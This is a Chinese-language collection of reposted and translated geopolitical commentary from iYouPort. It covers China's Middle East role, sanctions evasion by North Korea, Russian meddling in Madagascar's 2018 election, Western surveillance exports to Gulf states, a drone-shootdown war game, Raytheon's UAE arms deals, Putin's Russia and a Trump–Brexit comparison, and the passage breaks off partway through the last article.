在这个传奇故事中，很少有人能够清楚地表明是非。中国对新世界秩序的愿景出现的时间早于人们的预期，因为以特朗普的美国为首的西方国家已经如此仓促地撤退了。中国很少面临直接挑战，相反中国对全球治理的各个方面进行了测试、探索和并引入了一堆含糊不清。已被确立的权势并没有被证明无法抗拒。傅先生“不合时宜”地陈述了他的原则，那些已经被该原则的缔造者所放弃的东西，America first（最后这个短语有双重含义，就如你所知道的那样，于是不翻译最好，以避免浪费其中一个暗示）

"If China made the rules" **… Xi’s world order: July 2024**

原文

如果中国取代了美国在中东的霸权，结果是什么？ - iYouPort

中东和北非地缘政治

这篇文章只是陈述现实，没有立场

「图」

「图」

A Chinese-made Wing Loong II drone on display during the 2017 Dubai Airshow /AFP

中国声称其外交政策是基于“非干预主义”的，以区别于过去几十年来美国在中东外交政策中所体现的鹰派态度。

- 《镶金带银的太极黑沙掌—— 下一场来自帝国的威胁或许只是没有血腥》

幸运的是至少目前为止中国政府尚且没有直接参与中东战争。北京的参与主要取决于所谓的 “一带一路” 倡议或急需从该地区进口石油等经济投资。

但是，这些关系可能会导致中国在该地区发挥政治作用，无论它是否喜欢。

「图」

「图」

这是今年1月份发布频道的内容：https://t.me/iyouport/6865

经过数年适得其反的干预，美国正在从中东撤退。特朗普成功地基于非干预主义外交政策开展了他自己的竞选活动，承诺将军队从饱受战争蹂躏的地区带回来（虽然他显然做不到）。

并非巧合的是，美国的能源供应也越来越自给自足，其石油消费量占其自身消耗的 86%。预计明年这一数字将再次上升。美国对参与中东石油开采不再感兴趣。

另一方面，中国则越来越依赖国外进口能源。中国几乎一半的石油供应来自中东，沙特阿拉伯是仅次于俄罗斯的第二大出口国，位居榜首。

沙特阿拉伯在该地区的头号敌人 —— 伊朗 —— 在对中国的石油出口国排名中仅排第七位。因此，即使德黑兰希望中国与伊朗建立对抗美国制裁的特殊关系，北京也不太可能就伊朗与海湾的利益成为伊朗的盟友。

中国在该地区的基础设施项目对当前的冲突也保持中立。中国的新丝绸之路经济带穿过伊朗，而海上丝绸之路则从阿曼、沙特和埃及穿过波斯湾。

「图」

「图」

The land routes of the Belt and Road Initiative (Rami Khoury/Al Bawaba)

北京声明，其目标是与它所参与的所有国家建立互惠互利的协议，而不管它们之间可能存在的争议。

中国声称没有在国外复制美国的干预项目，而是声称希望在不影响其他国家内政的情况下 “带来发展”。

但是，在由宗派形式的战争所界定的地区中，中国要保持中立地位将变得越来越困难，尤其是在美国准备退出并因此出现权力真空的情况下。

迄今为止，中国政府一直没有在中东地区的众多冲突中表达任何官方立场。但是，中立性可能伴随着代价，迫使中国无意中采取了行动。海湾国家已经怀疑北京与伊朗的友好关系。

但是，尽管德黑兰希望与中国结成联盟，但北京在激怒其邻国以及挑战美国目前的霸权方面仍然保持谨慎。

中国的国有石油公司由于美国的制裁，已于去年10月撤回了一笔50亿

美元的交易，这笔钱是用来开发伊朗大规模海上天然气的一部分；同时，中国不愿向伊朗提供任何重要的军事技术，而"据称"希望向巴基斯坦和沙特阿拉伯等中东其他国家提供 “杀手级无人机”。

「图」

「图」

Feb 22, 2019

美国已经向其在中东的盟国施加压力，以限制他们与中国的接触。五角大楼负责该地区的最高官员 Michael Mulroy 警告说，北京在中东的影响力可能会破坏美国与其海湾盟国之间的军事合作。

担心沙特阿拉伯这样的海湾国家可能对美国的支持失去信心，并开始自己的核计划，伊朗也会秘密地这样做。据报道，美国政府已经获得情报，表明利雅得正在北京的支持下发展弹道导弹计划。

从今天的情况来看，无论是在经济上还是军事上，沙特和更广泛的海湾国家似乎都是中国在中东的主要区域盟友。

这种关系将如何发展，尤其是中国声称的不就其支持如何影响该地区采取任何立场，尚有待观察。〇

What if China Replaced U.S. Hegemony in the Middle East?

原文

对朝鲜的制裁失败了吗？ - iYouPort

地缘政治

特朗普表示，与朝鲜就其核计划进行的谈判“进展顺利”—— 尽管有新的报道称，朝鲜蔑视美国和联合国，公然违反制裁。NBC 新闻援引五角大楼的“最高机密” 称，尽管联合国实施制裁，特朗普努力向中国、俄罗斯和其他向朝鲜政权出口石油的国家施加压力，但石油出口仍在继续。

走私的燃料帮助金正恩的贫困国家继续应对美国施加的迫使独裁者放弃他的核武器计划的压力。

标题为“最高机密”的文件表示，自9月以来由八国联盟部署的军舰和侦察机迫使平壤调整其在海上的战术，包括将石油转移到远离朝鲜半岛的地方，往往是在其他国家的领海内，该网络援引三名高级军官的话说。

官员说，朝鲜人使用较小的船只，以避免被联军的军舰和飞机识别到。该评估还称，联军已经迫使朝鲜人离开东海，进入北部和南部的水域。

9月，该联盟—澳大利亚，英国，加拿大，法国，日本，韩国和新西兰—通过部署军舰和飞机以发现违规行为，扩大了对走私的监视。

据多项报道，虽然已知的导弹试验已经停止，但朝鲜政权继续制造武器并增加了武器库。

NBC News, citing “a Top Secret” Pentagon assessment, said the oil transfers were continuing despite UN sanctions and Trump’s efforts to pressure China, Russia and other countries that export oil to the regime from violating them.

原文

帝国重现 - iYouPort

地缘政治

苏维埃帝国的影子又在重现了。但这次不是社会主义的，而是资本主义的。普京曾公开承认俄罗斯是资本主义的

「图」

「图」

苏维埃帝国的影子又在重现了。但这次不是社会主义的，而是资本主义的。普京曾公开承认俄罗斯是资本主义的；而且这次是更阴暗的手段：砸钱。

今年1月，马达加斯加为总统安德里·拉乔利纳揭幕，他在两轮投票中击败了35名对手。根据BBC俄语部的一份新报告，至少有六名候选人—— 可能包括 Rajoelina—— 从俄罗斯获得了竞选资金。

BBC的调查记者发现，大量俄罗斯政治专家卷入了马达加斯加**2018**年的总统选举。英国新闻媒体没有具体说明有多少俄罗斯顾问活跃，但上个月 Proekt 网站的一份报告引用了一位消息来源称有15至20名政治战略家在从事这项工作。

据报道，俄罗斯政治人员的工作于2018年3月开始，持续了将近一年。据BBC报道，俄罗斯的战略家们作为游客和选举观察员进入该国，然后与高级政治官员合作。两位前候选人现在公开谈论他们与俄罗斯政治顾问的合作：Andre Mailhol（在第一轮投票中获得第四名）和前总理Omer Beriziky（获得第24名）。

Mailhol 说，他与来自俄罗斯的三名战略家—— Andrey Kramar，Roman Pozdnyakov 和 Vladimir Boyaryshev 合作—— 称他们为他的竞选活动捐赠了**12,000**欧元（**13,515**美元），为他的电视广告提供资金，并向他递交了**5000**欧元（**5,630**美元）的现金。

Mailhol 说他当时并不具体知道谁在为他的竞选工作，或者他们代表

谁。他告诉记者，他认为俄罗斯顾问在此期间支持了八到九名不同的候选人。透明国际组织验证了许多候选人从国外捐助者那里获得了竞选资金。与此同时，英国广播公司表示，只有六名候选人与俄罗斯政治战略家合作。

前总理 Omer Beriziky 说，俄罗斯顾问向他承诺了200万美元，尽管他从未收到过这笔钱中的大部分。发言人表示，他与俄罗斯战略家 Maxim Shugalei 合作，据称他承诺提供“技术支持”，并指示 **Beriziky** 如何控制选举。

Andrey Kramar, Roman Pozdnyakov,和 Vladimir Boyaryshev 在一次被阻止的抗议活动后离开了马达加斯加。几位参与者说他们是有偿参加的。示威发生后，地方当局驱逐了几名俄罗斯国民，理由是他们在马达加斯加伪装游客参与工作。Kramar，Pozdnyakov 和 Boyaryshev 拒绝与记者交谈，但新闻媒体 Openmedia.io表示，Kramar 和 Pozdnyakov 曾经在乌克兰的 Donbas 地区工作。

英国广播公司说，俄罗斯战略家最初帮助了多名候选人，但当 Andry Rajoelina 成为明确的领跑者时，他们将支持重定向到了 Andry Rajoelina。据报道，在竞争的这个阶段，俄罗斯顾问还建议 Andre Mailhol 和 Omer Beriziky 支持 Rajoelina。 Mailhol 说，当他拒绝时，战略家们就放弃了他。

在选举期间，Rajoelina 告诉BBC他不认为自己是俄罗斯的候选人。“我不是任何国家的候选人—我是马达加斯加全体人民的候选人，”他解释说，拒绝透露他的竞选是否得到了俄罗斯的援助。与此同时，BBC指出，没有证据表明 Rajoelina 曾接受过俄罗斯的资助。

据英国广播公司报道，圣彼得堡寡头组织 **Evgeny Prigozhin** 负责为在非洲旅行的俄罗斯政治战略家团队提供资金，为不同的候选人提供资金和建议。

去年11月彭博社还报道说，“普京最臭名昭著的厨师现在正在非洲干涉其政治。”Proekt 网站称，Prigozhin 的顾问与马达加斯加的八位总统候选人合作，其中包括 Andry Rajoelina。

但 Prigozhin 否认这点，他的代表告诉记者，他“与任何可能在非洲提供政治建议的项目、或与记者提到的任何战略家都无关。但是，谁知道呢……

请注意马达加斯加的战略地位：中国和美国都在非洲争抢影响力。

Journalists say Russian political strategists funded and advised at least six candidates in Madagascar's 2018 presidential race.

原文

心口不一 - iYouPort

地缘政治

华盛顿邮报记者 Jamal Khashoggi 白死了。⚠美国 Gatekeeper Intelligent Security 公司又向沙特政府出售面部识别技术。该系统可以识别车内驾驶员和乘客的面部，即使是黑色或有色的玻璃窗也能识别；地缘政治游戏的分量在政权眼中显然被视为不如金钱

「图」

「图」

以色列最臭名昭著的公司 NSO Group 专门制造间谍软件并销往世界各地，专门服务于各种政府客户。该公司否认他们生产的监视产品参与了对华盛顿邮报记者 Jamal Khashoggi 的谋杀。但是，详见以下内容：

- 《Khashoggi 是如何被杀的？》政府当局通常采取旁道策略，即 不直接针对目标人，而是针对目标的朋友和亲人；
- 他的朋友是如何中招的？《当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防》
- 《Report：以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》
- 此外，《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》
- 《网络战：❗社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》
- 《危险：监控技术公司正在推动对零日漏洞的利用》
- 《一场令人不寒而栗的网络战》
- 《如果警察在你的手机上强制安装监视应用程序，如何才能将危险最小化？》
- 《追踪零日漏洞市场的肮脏：可怜正义没有钱》

这种私人出售的侵犯人权的技术和独裁政权的嫁接并不是一个异常现象。在世界各地，当权者都在监控互联网流量、通信和行为—在许多情况下使用的是美国和其他西方公司提供的监控技术。详见以下报告：

- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》
- 《网络战：!社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》
- 《可视化数据：全球监控行业—— 谁是大哥？谁在作恶？》
- 《危险：监控技术公司正在推动对零日漏洞的利用》
- 《最新报告：是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》
- 《美国技术公司如何帮助埃尔多安的暴政对土耳其公民实施间谍行为》
- 《美国技术正用于中国的大规模监视》
- 该公司不仅是监视美国人的主力，而且为强大的中国监控系统提供关键协助，它是谁《闷声发大财的跨国老大哥》
- 《英国国际贸易部在2017年9月至2018年9月期间向沙特王国颁发了五个电信拦截设备出口许可证 》
- 《中国参与制作耶路撒冷旧城的“老大哥”》
- 《🔭 中国版老大哥的世界之旅》
- 中国当局如何钟情于本土老大哥《是谁在为中国政府的监视社会系统提供技术支持？》
- 全球监视技术市场分布图《是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》
- 至少在 1984 的世界里，切勿小看了中国《浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》

举一个最近的例子：美国 Gatekeeper Intelligent Security 公司向沙特政府出售面部识别技术。该系统可以识别车内驾驶员和乘客的面部，即使是黑色或有色的玻璃窗也能识别。该技术还被出售给了阿联酋的政权，并且“当与面部识别相结合时，它旨在帮助当局追踪感兴趣的任何人。” 这只是最新的报告关于向专制政权出售监控技术的西方公司。更多详见上面的报告。

从面部识别软件到 GPS 跟踪器、计算机黑客工具、再到监控和重定向互联网流量的系统，现代监控技术可以 “以合理的成本实现高水平的社会压制”，正如尼古拉斯赖特在外交事务中所说的那样。

但是这些技术不仅仅能帮助实现“数字威权主义”。它们还促进了一种纯粹老大哥的全球模式，其特点是频繁的审查、普遍的监视和国家的严格控制。美国可能成为阻止这种互联网模式传播的世界领先者，但要做到这一点，必须重新评估美国公司在促进这种模式方面的作用。

解决这些工具传播的一种方法是使用出口管制。这些政策最近在新闻中比平常更多，据称政府提出的控制措施将对可以销售什么类型的技术和向谁出售提出新的限制。但是，在防止向人权滥用者出口监视技术方面，美国严重落后，特别是在基于互联网的监控设备方面。

防止此类监视设备传播的初步行动是在2013年的瓦塞纳尔安排，一个由41个成员国组成的多边军控协议，美国参与其中。瓦塞纳尔安排的主要目标是并且仍然是限制两用技术的销售和贩运—这些技术既可以用于民用也可用于军事用途。例如，网络渗透软件—用于打入无线或物理网络的数字工具—被安全研究人员用来探测漏洞，就像政府和军队用来拦截敌方通信一样。瓦塞纳尔安排不是条约，因此缺乏约束力，但成员国同意对该安排提出的控制清单上的项目建立和实施出口管制，该清单每年12月更新。

2013年12月增加的控制列表之一是“IP网络流量监控系统”，该系统可以对流经网络的所有数字流量进行分类、收集和分析—— 攻击者可能会使用它拦截您的电子邮件登录；政府可能用它来大规模追踪活动家的在线活动。各国政府就瓦塞纳尔安排进行了谈判，其中明确规定了人权目标：防止暴君和不良行为者获得可用于在国内实施侵权行为的技术。大多数 Wassenaar 参与者，包括欧盟的每个国家，都限制了这项技术的分发。而另一方面，美国却没有限制。

向人权滥用者出售间谍软件和面部识别系统等技术—Wassenaar 试图阻止的东西—使得社会控制的阴险和对基本公民自由的侵犯成为可能。但如果人权问题不足以让美国政策制定者感动，那么还有另一个理由：出口监控设备可以实现数字威权主义，并损害美国的国家利益。

专制治理是全球最长期的趋势。建立国内监视基础设施以帮助采用进口监视技术—这是数字威权主义的典型特征—加剧了对全球民主的侮辱。它将国内经济从全球网络中剔除，并允许各国随意审查和封锁他们不喜欢的任何互联网内容。更广泛地说，数字威权主义将权力整合到政府手中，这些政府对美国的利益来说本身就是敌对的—或者通常与敌对势力结盟。但地缘政治游戏的分量在美国眼中显然被视为不如金钱利益。

实现数字威权主义也支持了一种模式—一种由中国和俄罗斯等国家支持的模式—反对言论自由，并有可能进一步限制世界各地的言论自由。这种方法试图建立内容审查、在线监控和流量限制等实践的全球规范。

当美国公司向沙特阿拉伯等专制国家销售监控技术时，他们卖出的不仅仅是监控套件，他们也发出了自相矛盾的信号—— 他们的行为和他们的公开声称的价值观完全矛盾。一方面，美国声称非常关心开放的互联网，而另一方面，美国公司一直在销售破坏这一使命的监控技术—促进美国数字威权主义的广泛传播。

除非美国更新其出口监视技术的规则，否则无法消除这种情况。数字威权主义正在蔓延，作为高堡奇人的主角之一，美国公司需要停止对人权危机的促进。

How U.S. surveillance technology is propping up authoritarian regimes: if human rights concerns aren't enough to move US policymakers, there's another reason to act: Exporting surveillance equipment enables digital authoritarianism and hurts US national interests.

原文

战争游戏：如果中国或俄罗斯击落ISR飞机，美国将如何做出回应？ - iYouPort

地缘政治

无人机战争的兴起会将世界拖入更多的冲突吗？很多人都认为会。但是一个实验显示，也许没这么简单 —— 如果中国或俄罗斯击落ISR飞机，美国将如何做出回应？结论是：不会做出任何反应。为什么？

「图」

「图」

无人机战争的兴起会将世界拖入更多的冲突吗？

这是一些权威人士和政策制定者过去所提出的警告，他们认为，如果执行任务失败，人类飞行员的缺席将使军事领导人必需承担更高风险的任务，虽然不会遭受失去机组人员后必然引发的政治反击。

然而，2017年9月在麻省理工学院林肯实验室和哈佛大学联合实验的一场战争游戏挑战了这一假设。

该研究表明，无人机战争可以减少国家之间发生冲突的可能性，因为如果飞机失踪，军事规划者将可以避免升级军事选择的陷阱。为什么呢？

这是一个假设的场景：一架美国MQ-9“无人机”在欧洲空域巡航—可能是在乌克兰顿巴斯地区附近监视军事集结，或者在波罗的海上空搜寻俄罗斯飞地加里宁格勒。

无人机仍在北约领空，但它的飞行路线靠近俄罗斯的领土边界。

在美军执行任务一小时后，俄罗斯武装部队使用 SA-8 Gecko 地对空导弹击落了死神。一些残骸落在俄罗斯境内，并在克里姆林宫赞助的电视上被自豪地宣传，作为西方入侵的证据。

战争游戏情景的简报说明，“你是第609联合空中作战中心规划小组的成员，就在等待来自更高总部的政治/战略指导时，美国空军中央指挥官指示你的团队开始制定应对方案。”

场景中的玩家可以任意切换对手。它可能是像俄罗斯或中国这样的同行对手，也可能是像伊朗这样的地区大国，或者像在其他的战争游戏中那样，它可能完全涉及虚构的国家。

无论如何，战争游戏的参与者必须为指挥系统的领导者提供报复性选择，前任现役空军情报官员、现任哥伦比亚大学政治学博士候选人 Erik Lin-Greenberg 借此撰写了一篇关于战争游戏的论文。

在2017年的研究中，Lin-Greenberg 随机分配了28名具有军事经验的参与者组成7支队伍。所有队伍都接受了同样的打击方案。但有些被告知被击落的飞机是一架无人驾驶飞机，而其中三个队伍被告知这架飞机是载人的 MC-12 Liberty，其四名机组人员全部遇难。

“激励开战了，”美国陆军上校说。

“这代表了一场冲突。如果他们击落我们的机组成员，我们会报复，“一位美国空军军官说。

上述那三支队伍（即被告知击落的是有人驾驶飞机的队伍）都批准了美国飞行员对虚构国家部队的空袭。其中两支队伍直接进入敌方领土，以检索残骸和机组人员的遗体。

但是，与此同时，被告知击落的是无人驾驶飞机的团队更加克制。

Lin-Greenberg 在论文中写道：“团队经常以相对粗暴的方式处理无人机被摧毁事件，轻率地讨论如何处理被毁的飞机。”

失去无人机的四支队伍中，没有一支队员因发动军事打击而升级战斗，但所有人都认为作出些回应是有道理的。毕竟，如果未能采取任何行动可能会使对抗国家获胜，使美国的决心受到质疑，或无意中引发未来的攻击。

Lin-Greenberg 说，当他采访美国军官进行研究时，他们经常谈论他们如何不愿意失去资产。

“但是当你将他们直接置于模拟环境中时，他们的决策就可能完全不同，”他告诉空军时报说。

对于这样的情况，其实有很多现实世界的例子。例如，据报道，2012年伊朗试图在阿拉伯海湾击落一架MQ-1捕食者。

Lin-Greenberg 说，“我们的反应非常缓慢。我们只是搞了一些讨厌的外交辞令，并最终决定使用F-22护送掠夺者，但我们没有任何真正重大而严厉的反应。”

伊朗人选择了不升级战争。但是，“他们仍然可能会攻击掠夺者和收割者，但他们仍然没有试图击落有人驾驶飞机。在他们看来，载人资产和无人资产之间存在这种差异，“ Lin-Greenberg 说。

美国甚至倾向于不公布无人机的损失。无人机被击落为侵略国提供了巨大的公关胜利。但是如果这件事根本没有得到承认，那么美国就可以忽视这种情况，甚至避免以一种在政治上不可能的方式作出回应。

与无人机的战争游戏很重要，因为无人机参战是大趋势。

“到2014年底，已经有27个国家拥有’先进’的无人机，据报可以在空中停留至少20小时的无人机，在至少16,000英尺的高度运行，最大起飞重量为至少1,320磅，“研究人员 Michael Horowitz，Sarah Kreps 和 Matthew Fuhrmann 在2016年麻省理工学院新闻杂志上发表了关于无人机研究的论文。

即使在美国这个可以说是无人机最先进的国家里，人们也总是在谈论无人机接下来可以做些什么。

“如果你是一名指挥官并且你有两架具有大致相同能力的飞机，在许多情况下，降低风险计算并使用无人驾驶平台是有意义的，”Lin-Greenberg 说道。

然而，即使无人机可以完成这项任务，仍然存在指挥官可以选择载人平台的情况。在他的论文未包括的另一个场景中，Lin-Greenberg 要求参与者在一个流氓国家违背国际社会的意愿发射洲际弹道导弹后，计划一个反击的任务。

在B-2轰炸机和具有类似特征的无人驾驶型飞机之间选择时，参与者有时会选载人轰炸机，因为它显示了“我是认真的”。

“但有趣的是，很多队都想要两者一起用，”**Lin-Greenberg** 说，“载人轰炸机标志着决心，无人轰炸机标志着能力和稳健性。”

一个挥之不去的问题是，这项研究的结果是否也适用于来自竞争对手

的军事指挥官？中国或俄罗斯的军官会如何回应他们自己的无人驾驶飞机或有人驾驶飞机被击落的结果？

对于这个问题，国内和国际政治局势将发挥重要作用。例如，中国共产党在很大程度上管理着媒体。如果该党正在准备对攻击者进行积极的反应，那么它可能会在官方报纸上用民族主义言论来引导民众。

“在外交政策问题上，中国公众绝大多数都依赖官方媒体获取日常信息，”史蒂姆森中心中国项目主任在2011年的一篇专栏文章中写道。“关于中国目前的外交事务，外交部和新华社联合决定新闻报道的内容和基调，以确保它们符合中国的官方立场。”

这意味着，至少从表面上看，中国对失去无人机甚至有人驾驶飞机的反应可能会是极其严谨地衡量—如果共产党希望这样做的话。

Lin-Greenberg 没有与外国军官一起做过这项研究，但他的印象是，在涉及升级问题时，不论是美国还是其他国家会存在全面的共性。

“我有机会见到一位退休的高级解放军军官……基本上是一星级的，当你与他交谈时，他的思路听起来非常像一名美国高级军官……他以与美国军官非常相似的方式谈论有人驾驶飞机和无人驾驶飞机“，Lin-Greenberg 说。

War game: If China or Russia downed an ISR aircraft, how would the US really respond? None of the four teams that lost drones escalated by launching military strikes, but all believed some response was warranted. The U.S. also tends not to publicize the loss of drones. Drone shootdowns offer a huge public relations victory for the aggressor state. But if it’s not acknowledged at all, the U.S. can ignore the situation and avoid even having to respond in a way that would be politically impossible were a human on board.

原文

战争罪的幕后推手 - iYouPort

地缘政治

战争罪是可怕的、非人的，但其幕后的推手更可怕，那家伙是谁？……

在大赦国际组织调查进一步暗示海湾国家利用西方武器犯下战争罪行后，阿联酋继续与五角大楼的铁腕雷神公司签署了高达数十亿美元的新武器合同，从而加深了人道主义危机，在饱受战争蹂躏的也门加剧了大屠杀的威胁。

“对也门平民的持续屠杀—— 包括沙特阿拉伯和阿联酋领导的联盟以及它所支持的民兵—— 应该给所有供应武器的国家以严重警告，”军备控制和人权研究员 Patrick Wilcken 说。“阿联酋部队从西方国家和其他国家获得了价值数十亿美元的武器，只是为了供应也门的民兵，而这些民兵据信正在犯下战争罪。”

呼吁停止向沙特和阿联酋领导的联盟供应武器的人权组织也注意到，在2015年爆发的冲突中“阿联酋已经加强了地面攻势”，并且，根据一些估计，杀死了6万多名也门人，数百万人流离失所，并处于饥荒的边缘。

正如“纽约时报”最近报道的那样，“美国也参与了也门的空中战争”，并指出该国的主要武器销售和情报来源是沙特。考虑到各方在冲突期间犯下的战争罪行，平民伤亡人数增加、以及基础设施遭受破坏，希望有新立法阻止美国对战争的支持。

不过，雷神国际首席执行官约翰·哈里斯（John Harris）已经完全无视该行业所面临的批评，他对 CNBC 说，“我们不制定政策。”

因此，利润丰厚的交易仍在继续。

据官方媒体报道，阿联酋宣布已签署了价值超过16亿美元的交易，用于购买美国军火巨头雷神公司的爱国者导弹发射器。

在阿布扎比举行的国际军事展览的第二天，这笔交易是在阿联酋宣布将从雷神公司购买价值3.53亿美元的爱国者导弹后的第二天发布的。

据国营的WAM通讯社报道，这个石油丰富的国家和西方公司在世博会期间签署了约32亿美元的交易。

虽然中国、美国、英国、法国和其他欧洲国家都因为向联军提供武器而受到批评，但新的威胁正在出现。随着地面战争的演变，武器不仅被阿联酋部队在也门使用，而且还被传递给完全不负责任的联军民兵，其中一些人被指控犯有战争罪。

该报告还引用了之前的出版物（pdf），揭示阿联酋正在训练也门民兵，其中发生了“一系列令人震惊的滥用行为”。

由众议员罗·卡纳（D-Calif）提出的决议希望能阻止美国的参与，他在投票后称“我们比以往任何时候都更接近于结束我们在这场人道主义灾难中的共谋”。他引用了美国有线电视新闻网最近的一项调查，显示沙特据信向也门的基地组织部队提供美国产的武器。他说，“我们必须停止出售武器，停止帮助沙特和阿联酋继续使这场灾难性的战争永久化”。

Despite ‘War Crimes’ Concerns in Yemen, Raytheon Nabs $1.6 Billion Arms Deal With UAE Announcement comes as resolution to end U.S. complicity in Yemen war edges toward Senate vote

原文

战术间谍装备是什么？ - iYouPort

地缘政治

Wikileaks 公布数据库：“美国大使馆购物清单”，其中包含来自全球各个美国大使馆的16,000多份采购申请。除了最常见的日常用品之外，最显眼的是“战术间谍设备”。

「图」

「图」

“这些似乎是隐藏在日常物品中的微型监控摄像头，如纽扣、棒球帽、手表和领带。美国驻圣萨尔瓦多大使馆要求采购近100件此类物品，”IntelNews 报道说。

报告指出，几个大使馆订购了用于“手机取证”的硬件和软件。例如，美国驻亚美尼亚埃里温大使馆订购了一部“手机分析仪”，可以用来破解手机上的数据，同时绕过密码等安全措施。美国在柏林和基辅的外交部门也在寻求类似的装置。

在下面链接看到详细内容 —— 戴 Tor 哦！

US Embassy Shopping List

原文

指南：如何活在普京时代的俄罗斯 - iYouPort

地缘政治

普京的第四个任期是一个动荡的开始。俄罗斯正面临着西方对莫斯科涉嫌在英国使用化学袭击而产生的协调一致的报复。美国对俄罗斯寡头的制裁使其亏掉了数十亿美元的财富并削弱了卢布。俄罗斯经济停滞不前。

「图」

「图」

The Kremlin and its viceroys have pretended to manage, and the people on the ground have pretended to be loyal. It’s not that loyalty is lacking; it’s that there’s too much loyalty, and it’s all fake…

俄罗斯尚未从近期那场造成 64 人死亡的大火中恢复过来。现在俄罗斯几乎可以说是世界上少数的几个对如此可怕的和可预防的悲剧仍然普遍存在的国家之一，这种震撼力是深刻的。俄罗斯每年有**10**万居民因火灾而死亡。巴西是 0.56，中国是 0.6。

然而，普京时代有一个稳定的进程以令人们接受其规则背后的原则。多年来，俄罗斯观察家和俄罗斯人自己一直在问克里姆林宫在何种程度上受到意识形态的驱使，或者是某种一致的价值体系？是民族主义、孤立主义、退缩主义、或者柔道吗？

这些原则远非任何信仰或意识形态，而是一种精神气质，这是你必须“获得”才能在社会上取得进步的东西。俄罗斯的统治者不再向任何意识形态低头。但他们确实遵循一些基本的工作规则。

首先：自然或人为的灾难使国家变得脆弱。在爆炸、洪水或火灾发生后，莫斯科的敌国可以设法要求当局负责。于是，新闻如何报道这些紧急情况，与解决问题的方式基本一样重要。这就是为什么克里姆林宫在普京时代的早期灾难发生后就立即将所有联邦电视频道置于控制之下了（2000 年的潜艇库尔斯克号沉没事件和 2002 年的莫斯科剧

院恐袭事件）

这种观点的一个结果是莫斯科相信所有那些通过国家控制之外的渠道所传播的信息都是有害的和破坏性的，包括社交媒体。这就是为什么俄罗斯要封禁 telegram 这种加密通讯渠道。

第二：威胁被认为只来自外部或外国。这就是为什么莫斯科要规范外国公司、外资非政府组织和被视为“边缘”的宗教和意识形态，相关法律和规则激增。所有未经国家批准的基层行动主义都只能是外来的、外资的。

第三：公务员只向上级负责，而不向公众负责。因此，下属可以被追究责任，但高层的上级可以被视为救世主，不对任何错误负责。你别想指使普京总统做任何事，你只能呼吁他伸张正义。由此看普京也是这么认为的，无论政府有多么可怕或凶狠，都没有什么人能抵抗或推翻政府。这就是为什么叙利亚的巴沙尔·阿萨德依然权力稳固。

破坏真正的问责制、永不言败的抱歉态度、和拒绝基层行动主义，在俄罗斯即便不是普遍的真理也已经被广泛接受为现实。

每当普京被吹捧为世界上最强大或最有影响力的政治家时，我感到困惑。普京先生遵守的规则是技术性的。他不是政府的哲学家，他是个熟练工。这些规则只是在危险环境中保持权力的特别机制。而克里姆林宫的政治管理人员都是熟练的清道夫，他们处理旧的泄漏管道并且厌恶一切替换它的想法。

我也认为特朗普的想法和普京有相似之处，但不意味着特朗普在学普京。当你的目标像特朗普的目标那样幸存下来时，你自己就会找到适合你的实用规则。普京多年来一直为生存而奋斗，他已成为这种黑暗艺术的特级大师。

但玩这个游戏是有后果的。正如克里姆林宫有特别的规定那样，大多数俄罗斯人也有。他们得“获得”在自己的体系中能得以繁荣发展所需的东西：假装自己是忠诚的，告诉面试官你赞成总统，填写表格时要在正确的方框上打勾，然后你就通过了。自由了！

这听起来可不像是英雄行为，虽然英雄是一种罕见的品种。俄罗斯人民和俄罗斯国家“同心协力”，各自为政。

灾难和悲剧是国家和人民相遇的地方。冲突的火花开始飞起，因为双方都意识到他们一直在欺骗对方。克里姆林宫及其总督假装在管理，

底下的人们假装忠诚。一个忠诚的危机。这不是因为缺乏忠诚，而是忠诚太多了，全是假的。当每个人都意识到俄罗斯人会在任何机会上将他们与国家的关系调转过来时，就是一个暴露真相的时刻。

但所有这一切很快就会消失，因为它会与克里姆林宫发生冲突的原因是：正常渠道已被关闭。任何让总统负责的企图对人民来说代价如此的昂贵，而相反观点的宣传是如此的无情，以至于俄罗斯人忍受这一切只是为了摆脱困境，过上“正常”的生活。

上述原则不是让你选择去相信的，而是强加的。当你认识到自己就在这整个系统之中的时候，抵制可能为时已晚。你将不得不学习普京的信条或类似的东西。所以，真的，并没有急于向他学习。

By Maxim Trudolyubov

原文

政治自我伤害的症状：特朗普与英国退欧有着共同的混乱 - iYouPort

地缘政治

翻译这篇文章的过程中我们不断想起英国脱欧公投后一群中国的所谓公共知识分子强烈认为“脱欧无关民粹”那个奇异的舆论场景，这大概是全球唯一一个持此观点的群体，除了极右之外。令人沮丧的事实显示，中国社会 — 至少是这群在中国社会能引领大众认知的人 — 也许无法抵御任何一种政权的煽动和诱骗。

正如这篇文章所言，脱欧的确有很多合理的理由，但没有任何一个理由能合理化这种建立在种族主义仇恨基础上的欺骗和诱导，然而正是它导致了最终的公投结论。曾经一位英国朋友和我说起这一问题时表示：或许我们还应该思考一下，为什么骗局能如此地‘成功’。感谢那些正在试图扭转这一糟糕局面的英国朋友，历史不会对你们失望。

"Trump and Brexit Have Chaos in Common — A Symptom of Political Self-Harm" By Mehdi Hasan July 11 2018, 7:01 p.m.

「图」

「图」

一个测试性问题：你能猜出我现在在哪个国家吗？

给你一些线索：这里的政治完全混乱。一位备受争议的内阁成员已经辞职。人们对国家领导人的未来有不断的猜测。关于贸易战的讨论占据了头条新闻。企业正威胁要撤离。移民被虐待和驱逐出境。种族主义和仇外心理正在上升。这个国家在国际舞台上的声誉日渐衰落。

如果你猜到的是美国，那就错了 — 但我不会怪你。其实本周我在英国，然而这里几乎到处都有与特朗普的美国一模一样的令人毛骨悚然的回声。

我可以继续下去。这一切都是拜脱欧所赐，“Theresa May 的首相职

位一直是一系列的危机，”周二的金融时报这样说道。那个总统职位让你想起了什么？“2016 年，英国人在一个抽象的问题上投票，几乎不知道这个问题在实践中意味着什么”，爱尔兰时报周一大声嚷嚷道，指的是脱欧公投所造成的影响。听起来很熟悉吗？

